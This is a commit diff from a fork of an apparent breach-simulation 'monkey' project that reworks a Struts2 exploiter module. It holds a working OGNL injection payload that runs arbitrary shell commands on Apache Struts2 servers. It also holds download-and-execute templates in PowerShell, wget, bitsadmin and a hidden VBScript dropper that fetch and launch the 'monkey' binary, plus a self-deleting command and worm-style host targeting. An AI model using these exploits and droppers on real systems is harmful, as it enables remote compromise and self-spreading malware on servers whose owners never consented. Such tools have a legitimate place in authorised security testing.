forked from p15670423/monkey
Some notes fixed
This commit is contained in:
Vakaris
parent
208411d6fc
commit
7ce790affa
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@ -8,31 +8,19 @@ import httplib
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import unicodedata
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import re
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from network.tools import check_tcp_ports
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import logging
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from exploit import HostExploiter
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from exploit.tools import get_target_monkey, get_monkey_depth
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from tools import build_monkey_commandline, HTTPTools
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from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG
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__author__ = "VakarisZ"
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LOG = logging.getLogger(__name__)
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ID_STRING = "M0NK3YSTRUTS2"
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MONKEY_ARG = "m0nk3y"
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# Commands used for downloading monkeys
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POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
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WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
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# Commands used to check for architecture
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CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
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CHECK_LINUX = "echo %s && lscpu" % ID_STRING
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# Commands used to check if monkeys already exists
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EXISTS = "ls %s"
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DOWNLOAD_TIMEOUT = 300
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WEB_PORTS = [80, 443, 8080]
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DOWNLOAD_TIMEOUT = 30
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# In seconds. This is set so that we don't have to wait for monkeys' output.
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RESPONSE_TIMEOUT = 1
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RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, )
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class Struts2Exploiter(HostExploiter):
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@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter):
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super(Struts2Exploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self.skip_exist = self._config.skip_exploit_if_file_exist
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self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
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def exploit_host(self):
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# Initializing vars for convenience
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ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
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dropper_path_linux = self._config.dropper_target_path_linux
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dropper_path_win_32 = self._config.dropper_target_path_win_32
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dropper_path_win_64 = self._config.dropper_target_path_win_64
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ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
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if not ports:
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LOG.info("All web ports are closed on %r, skipping", self.host)
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return False
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for port in ports:
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if port == 443:
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current_host = "https://%s:%d" % (self.host.ip_addr, port)
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if port[1]:
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current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
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else:
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current_host = "http://%s:%d" % (self.host.ip_addr, port)
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current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
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# Get full URL
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url = self.get_redirected(current_host)
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LOG.info("Trying to exploit with struts2")
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@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter):
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command = WGET_HTTP % {'monkey_path': dropper_path,
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'http_path': http_path, 'parameters': cmdline}
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self.exploit(url, command, RESPONSE_TIMEOUT)
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self.exploit(url, command)
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter):
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# If monkey already exists and option not to exploit in that case is selected
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if self.skip_exist:
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for dropper_path in dropper_paths:
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if self.check_remote_file(url, dropper_path):
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if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
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return True
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src_path = get_target_monkey(self.host)
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@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter):
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command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
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'http_path': http_path, 'parameters': cmdline}
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self.exploit(url, command, RESPONSE_TIMEOUT)
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backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
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'http_path': http_path, 'parameters': cmdline}
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resp = self.exploit(url, command)
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if 'powershell is not recognized' in resp:
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self.exploit(url, backup_command)
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http_thread.join(DOWNLOAD_TIMEOUT)
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http_thread.stop()
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@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter):
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return False
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@staticmethod
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def exploit(url, cmd, timeout=None):
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def exploit(url, cmd):
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"""
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:param url: Full url to send request to
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:param cmd: Code to try and execute on host
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:param timeout: How long to wait for response in seconds(if monkey is being executed
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it's better not to wait it's whole output). By default we wait.
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:return: response
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"""
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page = ""
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payload = "%{(#_='multipart/form-data')."
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payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
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payload += "(#_memberAccess?"
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payload += "(#_memberAccess=#dm):"
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payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
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payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
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payload += "(#ognlUtil.getExcludedPackageNames().clear())."
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payload += "(#ognlUtil.getExcludedClasses().clear())."
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payload += "(#context.setMemberAccess(#dm))))."
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payload += "(#cmd='%s')." % cmd
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payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
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payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
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payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
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payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
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payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
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payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
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payload += "(#ros.flush())}"
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payload = "%%{(#_='multipart/form-data')." \
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"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
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"(#_memberAccess?" \
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"(#_memberAccess=#dm):" \
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"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
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"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
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"(#ognlUtil.getExcludedPackageNames().clear())." \
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"(#ognlUtil.getExcludedClasses().clear())." \
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"(#context.setMemberAccess(#dm))))." \
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"(#cmd='%s')." \
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"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
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"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
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"(#p=new java.lang.ProcessBuilder(#cmds))." \
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"(#p.redirectErrorStream(true)).(#process=#p.start())." \
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"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
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"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
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"(#ros.flush())}" % cmd
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# Turns payload ascii just for consistency
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if isinstance(payload, unicode):
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payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
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@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter):
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try:
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request = urllib2.Request(url, headers=headers)
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# Timeout added or else we would wait for all monkeys' output
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page = urllib2.urlopen(request, timeout=timeout).read()
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page = urllib2.urlopen(request).read()
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except AttributeError:
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# If url does not exist
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return False
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except httplib.IncompleteRead, e:
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except httplib.IncompleteRead as e:
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page = e.partial
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except Exception:
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LOG.info("Request timed out, because monkey is still running on remote host")
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return page
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@staticmethod
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def get_exploitable_ports(host, port_list, names):
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candidate_services = {}
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for name in names:
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chosen_services = {
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service: host.services[service] for service in host.services if
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('name' in host.services[service]) and (host.services[service]['name'] == name)
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}
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candidate_services.update(chosen_services)
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valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
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'tcp-' + str(port) in candidate_services]
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return valid_ports
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@ -4,6 +4,7 @@ __author__ = 'itamar'
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MONKEY_ARG = "m0nk3y"
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DROPPER_ARG = "dr0pp3r"
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ID_STRING = "M0NK3Y3XPL0ITABLE"
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DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
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MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
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MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
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@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
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RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
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RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
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DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
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# Commands used for downloading monkeys
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POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
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WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
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# Commands used to check for architecture and if machine is exploitable
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CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
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CHECK_LINUX = "echo %s && lscpu" % ID_STRING
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# Commands used to check if monkeys already exists
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EXISTS = "ls %s"
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